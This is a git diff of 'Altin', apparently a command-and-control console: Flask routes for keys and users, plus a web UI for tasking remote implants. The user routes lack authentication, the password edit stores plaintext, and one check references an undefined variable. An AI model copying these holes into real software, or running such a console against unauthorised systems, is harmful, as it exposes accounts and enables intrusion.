|
||||||
|
|
||||||
|
Key.create(name=name, key=key)
|
||||||
|
|
||||||
|
return(jsonify({'message': 'The key was created'}), 201)
|
||||||
|
|
||||||
|
@management_routes.route('/api/keys', methods=['DELETE'])
|
||||||
|
@login_required
|
||||||
|
def delete_key():
|
||||||
|
if 'id' not in request.json:
|
||||||
|
return(jsonify({'message': 'Invalid request'}), 400)
|
||||||
|
|
||||||
|
key_id = request.json['id']
|
||||||
|
|
||||||
|
if not Key.select().where(Key.id==key_id).exists():
|
||||||
|
return(jsonify({'message': 'No such key'}), 404)
|
||||||
|
|
||||||
|
Key.delete().where(Key.id == key_id).execute()
|
||||||
|
|
||||||
|
return(jsonify({'message': 'The key was deleted'}), 204)
|
||||||
|
|
||||||
|
# Users
|
||||||
|
@management_routes.route('/api/users', methods=['GET'])
|
||||||
|
def get_users():
|
||||||
|
users = []
|
||||||
|
for user in User.select():
|
||||||
|
users.append(user.serialize())
|
||||||
|
|
||||||
|
return(jsonify({'users': users}), 200)
|
||||||
|
|
||||||
|
@management_routes.route('/api/users', methods=['POST'])
|
||||||
|
def create_user():
|
||||||
|
if 'username' not in request.json or 'password' not in request.json or 'admin' not in request.json:
|
||||||
|
return(jsonify({'message': 'Invalid request'}), 400)
|
||||||
|
|
||||||
|
username = request.json['username']
|
||||||
|
password = request.json['password']
|
||||||
|
admin = request.json['admin']
|
||||||
|
|
||||||
|
if admin not in [True, False]:
|
||||||
|
return(jsonify({'message': 'Invalid request'}), 400)
|
||||||
|
|
||||||
|
if User.select().where(User.username == username).exists():
|
||||||
|
return(jsonify({'message': 'A user with that username already exists'}), 403)
|
||||||
|
|
||||||
|
User.create(username=username, password=hashlib.sha512(password.encode('utf-8')).hexdigest(), admin=admin)
|
||||||
|
|
||||||
|
return(jsonify({'message': 'Success'}), 200)
|
||||||
|
|
||||||
|
@management_routes.route('/api/users', methods=['PATCH'])
|
||||||
|
def edit_user():
|
||||||
|
if 'id' not in request.json:
|
||||||
|
return(jsonify({'message': 'Invalid request'}), 400)
|
||||||
|
|
||||||
|
if not User.select().where(User.id == request.json['id']).exists():
|
||||||
|
return(jsonify({'message': 'No such user'}), 404)
|
||||||
|
|
||||||
|
if 'username' in request.json:
|
||||||
|
User.update(username=request.json['username']).where(User.id==request.json['id']).execute()
|
||||||
|
elif 'password' in request.json:
|
||||||
|
User.update(password=request.json['password']).where(User.id==request.json['id']).execute()
|
||||||
|
elif 'admin' in request.json:
|
||||||
|
if admin not in [True, False]:
|
||||||
|
return(jsonify({'message': 'Invalid request'}), 400)
|
||||||
|
|
||||||
|
User.update(admin=request.json['admin']).where(User.id==request.json['id']).execute()
|
||||||
|
|
||||||
|
return(jsonify({'message': 'User updated'}), 200)
|
||||||
|
|
||||||
|
@management_routes.route('/api/users', methods=['DELETE'])
|
||||||
|
def delete_user():
|
||||||
|
if 'id' not in request.json:
|
||||||
|
return(jsonify({'message': 'Invalid request'}), 400)
|
||||||
|
|
||||||
|
if not User.select().where(User.id == request.json['id']).exists():
|
||||||
|
return(jsonify({'message': 'No such user'}), 404)
|
||||||
|
|
||||||
|
User.delete().where(User.id == request.json['id']).execute()
|
||||||
|
|
||||||
|
return(jsonify({'message': 'User deleted'}), 204)
|
||||||
3
server/debug_server.py
Normal file
3
server/debug_server.py
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
import altin
|
||||||
|
|
||||||
|
altin.app.run(debug=True, port=altin.config['port'])
|
||||||
6
server/requirements.txt
Normal file
6
server/requirements.txt
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
Flask==2.3.2
|
||||||
|
flask-cors==4.0.0
|
||||||
|
PyJWT==2.8.0
|
||||||
|
peewee==3.16.3
|
||||||
|
psycopg2-binary==2.9.13
|
||||||
|
python-dotenv==1.0.0
|
||||||
9
webui/Dockerfile
Normal file
9
webui/Dockerfile
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
FROM nginx:alpine
|
||||||
|
|
||||||
|
RUN rm -rf /usr/share/nginx/html/*
|
||||||
|
|
||||||
|
COPY --exclude=Dockerfile . /usr/share/nginx/html
|
||||||
|
|
||||||
|
EXPOSE 80
|
||||||
|
|
||||||
|
CMD ["nginx", "-g", "daemon off;"]
|
||||||
250
webui/agents.html
Normal file
250
webui/agents.html
Normal file
@ -0,0 +1,250 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>Altin | Agents</title>
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="/assets/css/main.css">
|
||||||
|
<link rel="stylesheet" href="/assets/css/home.css">
|
||||||
|
<script defer src="/assets/js/agents.js"></script>
|
||||||
|
</head>
|
||||||
|
<body class="app-page">
|
||||||
|
<div class="app-layout">
|
||||||
|
<aside class="sidebar">
|
||||||
|
<div class="brand-block">
|
||||||
|
<div class="brand-name">Altin</div>
|
||||||
|
<div class="brand-subtitle">Management console</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="sidebar-section">
|
||||||
|
<nav class="nav-list" aria-label="Primary">
|
||||||
|
<a class="nav-item" href="/index.html">
|
||||||
|
<span>Overview</span>
|
||||||
|
</a>
|
||||||
|
<a class="nav-item is-active" href="/agents.html">
|
||||||
|
<span>Agents</span>
|
||||||
|
</a>
|
||||||
|
<a class="nav-item" href="/keys.html">
|
||||||
|
<span>Keys</span>
|
||||||
|
</a>
|
||||||
|
<a class="nav-item" href="/users.html">
|
||||||
|
<span>Users</span>
|
||||||
|
</a>
|
||||||
|
</nav>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="sidebar-footer">
|
||||||
|
<div class="sidebar-info">
|
||||||
|
<strong>Session</strong><br>
|
||||||
|
<span id="serverChip">loading…</span>
|
||||||
|
</div>
|
||||||
|
<button class="button-secondary" id="themeToggle" type="button">Theme</button>
|
||||||
|
<button class="button" id="logoutButton" type="button">Logout</button>
|
||||||
|
</div>
|
||||||
|
</aside>
|
||||||
|
|
||||||
|
<main class="main-shell">
|
||||||
|
<header class="page-header page-header-spaced">
|
||||||
|
<div>
|
||||||
|
<div class="page-title">Agents</div>
|
||||||
|
<div class="page-error" id="pageError" role="status" aria-live="polite"></div>
|
||||||
|
</div>
|
||||||
|
<div class="topbar-actions">
|
||||||
|
<!-- Matches keys.html and users.html: a .button-secondary Refresh
|
||||||
|
first in .topbar-actions. Selection and bulk tasking stay in
|
||||||
|
the "Selected agents" bar below. -->
|
||||||
|
<button class="button-secondary" id="refreshAgentsButton" type="button">Refresh</button>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<section class="page-section">
|
||||||
|
<section class="agents-toolbar panel">
|
||||||
|
<div class="filter-grid">
|
||||||
|
<div>
|
||||||
|
<label class="field-label" for="agentSearch">Search</label>
|
||||||
|
<input class="input" id="agentSearch" type="search" placeholder="ID, IP, or Tag">
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="field-label" for="implantFilter">Implant type</label>
|
||||||
|
<select class="select" id="implantFilter">
|
||||||
|
<option value="all">All implant types</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="field-label" for="osFilter">OS</label>
|
||||||
|
<select class="select" id="osFilter">
|
||||||
|
<option value="all">All operating systems</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="selection-bar">
|
||||||
|
<div>
|
||||||
|
<span class="selection-label">Selected agents</span>
|
||||||
|
<div class="selection-count" id="selectionCount">0 selected</div>
|
||||||
|
</div>
|
||||||
|
<div class="selection-actions">
|
||||||
|
<button class="button-secondary" id="selectFilteredButton" type="button">Select filtered</button>
|
||||||
|
<button class="button-secondary" id="clearSelectionButton" type="button">Clear</button>
|
||||||
|
<button class="button" id="openBulkTaskButton" type="button">Bulk tasking</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="selection-chips" id="selectionChips"></div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="panel agents-table-panel">
|
||||||
|
<div class="table-wrap">
|
||||||
|
<table class="data-table">
|
||||||
|
<thead>
|
||||||
|
<tr>
|
||||||
|
<th class="table-check"><span class="sr-only">Select</span></th>
|
||||||
|
<th>IP</th>
|
||||||
|
<th>Implant</th>
|
||||||
|
<th>OS</th>
|
||||||
|
<th>Tags</th>
|
||||||
|
<th>Last check-in</th>
|
||||||
|
<th>Commands</th>
|
||||||
|
<th class="table-actions-cell">Actions</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody id="agentsTableBody"></tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</section>
|
||||||
|
</main>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-backdrop hidden" id="interactModal" aria-hidden="true">
|
||||||
|
<div class="modal-card card modal-card-wide" role="dialog" aria-modal="true" aria-labelledby="interactTitle">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="modal-title-row">
|
||||||
|
<h2 id="interactTitle">Interact</h2>
|
||||||
|
<p id="interactSubtitle">Loading agent…</p>
|
||||||
|
</div>
|
||||||
|
<button class="icon-button" id="closeInteractButton" type="button">✕</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="console-status-bar">
|
||||||
|
<span class="console-agent-chip" id="interactAgentChip">—</span>
|
||||||
|
<span class="console-hint" id="interactHint">Pick a command and send it to this agent.</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="console-log" id="interactLog" role="log" aria-live="polite" aria-label="Command output"></div>
|
||||||
|
|
||||||
|
<div class="console-composer">
|
||||||
|
<div class="console-command-row">
|
||||||
|
<div>
|
||||||
|
<label class="field-label" for="interactCommand">Command</label>
|
||||||
|
<select class="select" id="interactCommand"></select>
|
||||||
|
</div>
|
||||||
|
<div class="console-command-help" id="interactCommandHelp"></div>
|
||||||
|
</div>
|
||||||
|
<div id="interactArgsContainer"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-footer">
|
||||||
|
<div class="modal-message" id="interactMessage"></div>
|
||||||
|
<div class="modal-actions-inline">
|
||||||
|
<button class="button-secondary" id="clearInteractButton" type="button">Clear console</button>
|
||||||
|
<button class="button-secondary" id="cancelInteractButton" type="button">Close</button>
|
||||||
|
<button class="button" id="sendInteractButton" type="button">Send</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-backdrop hidden" id="historyModal" aria-hidden="true">
|
||||||
|
<div class="modal-card card modal-card-wide" role="dialog" aria-modal="true" aria-labelledby="historyTitle">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="modal-title-row">
|
||||||
|
<h2 id="historyTitle">Command history</h2>
|
||||||
|
<p id="historySubtitle">Loading…</p>
|
||||||
|
</div>
|
||||||
|
<button class="icon-button" id="closeHistoryButton" type="button">✕</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="history-toolbar">
|
||||||
|
<div class="history-search">
|
||||||
|
<label class="field-label" for="historySearch">Filter</label>
|
||||||
|
<input class="input" id="historySearch" type="search" placeholder="Command name or argument" autocomplete="off">
|
||||||
|
</div>
|
||||||
|
<div class="history-summary" id="historySummary" role="status" aria-live="polite">—</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="history-list" id="historyList"></div>
|
||||||
|
|
||||||
|
<div class="modal-footer">
|
||||||
|
<div class="modal-message" id="historyMessage"></div>
|
||||||
|
<div class="modal-actions-inline">
|
||||||
|
<button class="button-secondary" id="refreshHistoryButton" type="button">Refresh</button>
|
||||||
|
<button class="button" id="doneHistoryButton" type="button">Done</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-backdrop hidden" id="bulkTaskModal" aria-hidden="true">
|
||||||
|
<div class="modal-card card" role="dialog" aria-modal="true" aria-labelledby="bulkTaskTitle">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div>
|
||||||
|
<h2 id="bulkTaskTitle">Bulk task</h2>
|
||||||
|
<p>Review the targets, then pick one command to send to all of them.</p>
|
||||||
|
</div>
|
||||||
|
<button class="icon-button" id="closeBulkTaskButton" type="button">✕</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-layout">
|
||||||
|
<section class="modal-panel">
|
||||||
|
<span class="selection-label">Selected agents</span>
|
||||||
|
<div class="selection-count" id="bulkTargetCount">0 selected</div>
|
||||||
|
<div class="selection-chips compact" id="bulkTargetChips"></div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="modal-panel modal-command-panel">
|
||||||
|
<div>
|
||||||
|
<label class="field-label" for="bulkCommand">Command</label>
|
||||||
|
<select class="select" id="bulkCommand"></select>
|
||||||
|
</div>
|
||||||
|
<div id="bulkArgsContainer"></div>
|
||||||
|
</section>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-footer">
|
||||||
|
<div class="modal-message" id="bulkTaskMessage"></div>
|
||||||
|
<div class="modal-actions-inline">
|
||||||
|
<button class="button-secondary" id="cancelBulkTaskButton" type="button">Cancel</button>
|
||||||
|
<button class="button" id="submitBulkTaskButton" type="button">Send task</button>
|
||||||
|
<!-- Label is rewritten to "Send task to N agents" on open, from
|
||||||
|
the table selection. The static text is the zero fallback. -->
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-backdrop hidden" id="deleteAgentModal" aria-hidden="true">
|
||||||
|
<div class="modal-card card delete-card" role="dialog" aria-modal="true" aria-labelledby="deleteAgentTitle" aria-describedby="deleteWarning">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div>
|
||||||
|
<h2 id="deleteAgentTitle">Delete agent</h2>
|
||||||
|
<p>This removes the management record only. It does not stop the implant.</p>
|
||||||
|
</div>
|
||||||
|
<button class="icon-button" id="closeDeleteAgentButton" type="button">✕</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="delete-body">
|
||||||
|
<dl class="delete-target" id="deleteTargetDetails"></dl>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-footer">
|
||||||
|
<div class="modal-message" id="deleteAgentMessage"></div>
|
||||||
|
<div class="modal-actions-inline">
|
||||||
|
<button class="button-secondary" id="cancelDeleteAgentButton" type="button">Cancel</button>
|
||||||
|
<button class="button button-danger" id="confirmDeleteAgentButton" type="button">Delete agent</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
1189
webui/assets/css/home.css
Normal file
1189
webui/assets/css/home.css
Normal file
File diff suppressed because it is too large
Load Diff
126
webui/assets/css/login.css
Normal file
126
webui/assets/css/login.css
Normal file
@ -0,0 +1,126 @@
|
|||||||
|
.login-page {
|
||||||
|
min-height: 100vh;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
padding: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-shell {
|
||||||
|
width: min(100%, 520px);
|
||||||
|
margin: 0 auto;
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: 1fr;
|
||||||
|
gap: 1.5rem;
|
||||||
|
align-items: stretch;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-panel {
|
||||||
|
border: 1px solid var(--border-main);
|
||||||
|
background: linear-gradient(180deg, var(--overlay-subtle), transparent), var(--bg-panel);
|
||||||
|
box-shadow: var(--shadow);
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-copy {
|
||||||
|
color: var(--text-muted);
|
||||||
|
line-height: 1.7;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-copy-compact {
|
||||||
|
margin-top: -0.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-panel {
|
||||||
|
padding: 1.5rem;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 1rem;
|
||||||
|
border-top: 3px solid var(--border-strong);
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-panel-header {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-card-logo {
|
||||||
|
color: var(--accent);
|
||||||
|
font-size: 1.9rem;
|
||||||
|
font-weight: 800;
|
||||||
|
letter-spacing: 0.18em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
}
|
||||||
|
|
||||||
|
.theme-toggle {
|
||||||
|
min-width: 44px;
|
||||||
|
padding-inline: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-form {
|
||||||
|
display: grid;
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-saved {
|
||||||
|
display: grid;
|
||||||
|
gap: 0.4rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-actions {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-option {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.6rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.92rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-option input {
|
||||||
|
width: 16px;
|
||||||
|
height: 16px;
|
||||||
|
accent-color: var(--accent);
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-message {
|
||||||
|
min-height: 1.4rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.93rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-message[data-tone="success"] {
|
||||||
|
color: var(--success);
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-message[data-tone="error"] {
|
||||||
|
color: var(--danger);
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-preview {
|
||||||
|
margin-top: auto;
|
||||||
|
padding-top: 1rem;
|
||||||
|
border-top: 1px solid var(--border-main);
|
||||||
|
color: var(--text-muted);
|
||||||
|
display: grid;
|
||||||
|
gap: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-preview code {
|
||||||
|
padding: 0.2rem 0.4rem;
|
||||||
|
border: 1px solid var(--border-main);
|
||||||
|
background: var(--bg-muted);
|
||||||
|
color: var(--text-main);
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 940px) {
|
||||||
|
.login-shell {
|
||||||
|
grid-template-columns: 1fr;
|
||||||
|
}
|
||||||
|
}
|
||||||
176
webui/assets/css/main.css
Normal file
176
webui/assets/css/main.css
Normal file
@ -0,0 +1,176 @@
|
|||||||
|
:root {
|
||||||
|
color-scheme: dark;
|
||||||
|
--bg-main: #0b0b0d;
|
||||||
|
--bg-panel: #131316;
|
||||||
|
--bg-panel-2: #191a1f;
|
||||||
|
--bg-muted: #1e2026;
|
||||||
|
--border-main: #2a2721;
|
||||||
|
--border-strong: #3a3324;
|
||||||
|
--text-main: #f3f0e8;
|
||||||
|
--text-muted: #a7a39b;
|
||||||
|
--accent: #d4af37;
|
||||||
|
--accent-strong: #e2c15b;
|
||||||
|
--danger: #be3737;
|
||||||
|
--success: #7ccf9c;
|
||||||
|
--shadow: 0 18px 48px rgba(0, 0, 0, 0.45);
|
||||||
|
--overlay-subtle: rgba(255, 255, 255, 0.02);
|
||||||
|
--overlay-border: rgba(255, 255, 255, 0.18);
|
||||||
|
--overlay-accent: rgba(212, 175, 55, 0.08);
|
||||||
|
--overlay-modal: rgba(0, 0, 0, 0.72);
|
||||||
|
}
|
||||||
|
|
||||||
|
:root[data-theme="light"] {
|
||||||
|
color-scheme: light;
|
||||||
|
--bg-main: #f3f0ea;
|
||||||
|
--bg-panel: #ffffff;
|
||||||
|
--bg-panel-2: #f6f2eb;
|
||||||
|
--bg-muted: #ebe6dc;
|
||||||
|
--border-main: #d7d0c2;
|
||||||
|
--border-strong: #bcae8b;
|
||||||
|
--text-main: #171717;
|
||||||
|
--text-muted: #5f5c57;
|
||||||
|
--accent: #d4af37;
|
||||||
|
--accent-strong: #e2c15b;
|
||||||
|
--danger: #a94f4f;
|
||||||
|
--success: #3d8453;
|
||||||
|
--shadow: 0 18px 40px rgba(23, 23, 23, 0.12);
|
||||||
|
--overlay-subtle: rgba(0, 0, 0, 0.02);
|
||||||
|
--overlay-border: rgba(0, 0, 0, 0.12);
|
||||||
|
--overlay-accent: rgba(183, 138, 16, 0.08);
|
||||||
|
--overlay-modal: rgba(23, 23, 23, 0.68);
|
||||||
|
}
|
||||||
|
|
||||||
|
* {
|
||||||
|
box-sizing: border-box;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
html, body {
|
||||||
|
min-height: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
background:
|
||||||
|
radial-gradient(circle at top left, rgba(212, 175, 55, 0.08), transparent 24%),
|
||||||
|
linear-gradient(180deg, var(--bg-main), var(--bg-main));
|
||||||
|
color: var(--text-main);
|
||||||
|
font-family: Inter, Segoe UI, Arial, sans-serif;
|
||||||
|
}
|
||||||
|
|
||||||
|
a {
|
||||||
|
color: inherit;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
button,
|
||||||
|
input,
|
||||||
|
select,
|
||||||
|
textarea {
|
||||||
|
font: inherit;
|
||||||
|
}
|
||||||
|
|
||||||
|
button {
|
||||||
|
border: 0;
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
.sr-only {
|
||||||
|
position: absolute;
|
||||||
|
width: 1px;
|
||||||
|
height: 1px;
|
||||||
|
padding: 0;
|
||||||
|
margin: -1px;
|
||||||
|
overflow: hidden;
|
||||||
|
clip: rect(0, 0, 0, 0);
|
||||||
|
white-space: nowrap;
|
||||||
|
border: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.hidden {
|
||||||
|
display: none !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.icon-button,
|
||||||
|
.button,
|
||||||
|
.button-secondary {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
gap: 0.5rem;
|
||||||
|
min-height: 42px;
|
||||||
|
padding: 0.65rem 1rem;
|
||||||
|
border-radius: 0;
|
||||||
|
border: 1px solid transparent;
|
||||||
|
transition: transform 120ms ease, border-color 120ms ease, background-color 120ms ease, color 120ms ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button {
|
||||||
|
background: var(--accent);
|
||||||
|
color: #111;
|
||||||
|
border-color: rgba(255, 255, 255, 0.08);
|
||||||
|
font-weight: 700;
|
||||||
|
letter-spacing: 0.02em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button-secondary,
|
||||||
|
.icon-button {
|
||||||
|
background: var(--bg-panel-2);
|
||||||
|
color: var(--text-main);
|
||||||
|
border-color: var(--border-main);
|
||||||
|
}
|
||||||
|
|
||||||
|
.sidebar-footer .button-secondary {
|
||||||
|
min-height: 32px;
|
||||||
|
padding: 0.35rem 0.75rem;
|
||||||
|
font-size: 0.9rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.input,
|
||||||
|
.select,
|
||||||
|
textarea {
|
||||||
|
width: 100%;
|
||||||
|
min-height: 42px;
|
||||||
|
padding: 0.7rem 0.9rem;
|
||||||
|
border: 1px solid var(--border-main);
|
||||||
|
background: var(--bg-panel);
|
||||||
|
color: var(--text-main);
|
||||||
|
outline: none;
|
||||||
|
border-radius: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.input:focus,
|
||||||
|
.select:focus,
|
||||||
|
textarea:focus {
|
||||||
|
border-color: var(--accent);
|
||||||
|
box-shadow: 0 0 0 1px rgba(212, 175, 55, 0.25);
|
||||||
|
}
|
||||||
|
|
||||||
|
.field-label {
|
||||||
|
display: block;
|
||||||
|
margin-bottom: 0.35rem;
|
||||||
|
font-size: 0.82rem;
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.card {
|
||||||
|
background: var(--bg-panel);
|
||||||
|
border: 1px solid var(--border-main);
|
||||||
|
box-shadow: var(--shadow);
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-chip {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.4rem;
|
||||||
|
padding: 0.3rem 0.6rem;
|
||||||
|
border: 1px solid var(--border-main);
|
||||||
|
background: var(--bg-panel-2);
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.8rem;
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
}
|
||||||
|
|
||||||
1421
webui/assets/js/agents.js
Normal file
1421
webui/assets/js/agents.js
Normal file
File diff suppressed because it is too large
Load Diff
429
webui/assets/js/app.js
Normal file
429
webui/assets/js/app.js
Normal file
@ -0,0 +1,429 @@
|
|||||||
|
(() => {
|
||||||
|
const STORAGE_KEYS = {
|
||||||
|
theme: 'altin.theme',
|
||||||
|
token: 'altin.token',
|
||||||
|
serverUrl: 'altin.serverUrl',
|
||||||
|
};
|
||||||
|
|
||||||
|
const state = {
|
||||||
|
serverUrl: '',
|
||||||
|
token: '',
|
||||||
|
agents: [],
|
||||||
|
tasks: [],
|
||||||
|
tasksUnavailable: false,
|
||||||
|
};
|
||||||
|
|
||||||
|
const els = {};
|
||||||
|
|
||||||
|
const palette = [
|
||||||
|
'#d4af37', '#7aa2f7', '#8bd17c', '#e88f6a', '#c97ff5', '#55c0b7', '#f0c674', '#d46a6a'
|
||||||
|
];
|
||||||
|
|
||||||
|
// An agent that checked in more recently than this counts as active. Tombili's default
|
||||||
|
// check-in interval is 10s with 5s of jitter, so 60s tolerates a few missed callbacks
|
||||||
|
// while still flagging agents whose sleep interval has been raised via setsleep.
|
||||||
|
const ACTIVE_WINDOW_MS = 300 * 1000;
|
||||||
|
|
||||||
|
// Shown instead of a number when a metric's source endpoint failed, so a 0 is never
|
||||||
|
// mistaken for "none exist".
|
||||||
|
const UNAVAILABLE = '—';
|
||||||
|
|
||||||
|
const normalizeServer = (value) => value.trim().replace(/\/+$/, '');
|
||||||
|
|
||||||
|
const escapeHTML = (value) => String(value ?? '')
|
||||||
|
.replace(/&/g, '&')
|
||||||
|
.replace(/</g, '<')
|
||||||
|
.replace(/>/g, '>')
|
||||||
|
.replace(/"/g, '"')
|
||||||
|
.replace(/'/g, ''');
|
||||||
|
|
||||||
|
const setTheme = (theme) => {
|
||||||
|
const nextTheme = theme === 'light' ? 'light' : 'dark';
|
||||||
|
document.documentElement.setAttribute('data-theme', nextTheme);
|
||||||
|
localStorage.setItem(STORAGE_KEYS.theme, nextTheme);
|
||||||
|
if (els.themeToggle) {
|
||||||
|
els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark';
|
||||||
|
els.themeToggle.setAttribute('aria-label', `Switch to ${nextTheme === 'dark' ? 'light' : 'dark'} theme`);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark';
|
||||||
|
|
||||||
|
// The header carries no progress or success text any more - only failures, which
|
||||||
|
// is what used to get silently dropped when these elements were missing. The
|
||||||
|
// element starts empty and .page-error:empty hides it, so a healthy load leaves
|
||||||
|
// no residue under the page title.
|
||||||
|
const setError = (message) => {
|
||||||
|
if (!els.pageError) return;
|
||||||
|
els.pageError.textContent = message;
|
||||||
|
};
|
||||||
|
|
||||||
|
const redirectToLogin = () => {
|
||||||
|
window.location.href = '/login.html';
|
||||||
|
};
|
||||||
|
|
||||||
|
const requireAuth = () => {
|
||||||
|
const token = localStorage.getItem(STORAGE_KEYS.token);
|
||||||
|
const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl);
|
||||||
|
|
||||||
|
if (!token || !serverUrl) {
|
||||||
|
redirectToLogin();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
state.token = token;
|
||||||
|
state.serverUrl = normalizeServer(serverUrl);
|
||||||
|
return true;
|
||||||
|
};
|
||||||
|
|
||||||
|
const apiFetch = async (path, options = {}) => {
|
||||||
|
const headers = new Headers(options.headers || {});
|
||||||
|
headers.set('Authorization', state.token);
|
||||||
|
|
||||||
|
if (options.body && !headers.has('Content-Type')) {
|
||||||
|
headers.set('Content-Type', 'application/json');
|
||||||
|
}
|
||||||
|
|
||||||
|
const response = await fetch(`${state.serverUrl}${path}`, {
|
||||||
|
...options,
|
||||||
|
headers,
|
||||||
|
});
|
||||||
|
|
||||||
|
if (response.status === 401) {
|
||||||
|
redirectToLogin();
|
||||||
|
throw new Error('Unauthorized');
|
||||||
|
}
|
||||||
|
|
||||||
|
return response;
|
||||||
|
};
|
||||||
|
|
||||||
|
const loadJSON = async (path) => {
|
||||||
|
const response = await apiFetch(path);
|
||||||
|
const payload = await response.json().catch(() => ({}));
|
||||||
|
if (!response.ok) {
|
||||||
|
throw new Error(payload.message || `Request failed (${response.status}) for ${path}`);
|
||||||
|
}
|
||||||
|
return payload;
|
||||||
|
};
|
||||||
|
|
||||||
|
const formatNumber = (value) => new Intl.NumberFormat().format(value || 0);
|
||||||
|
|
||||||
|
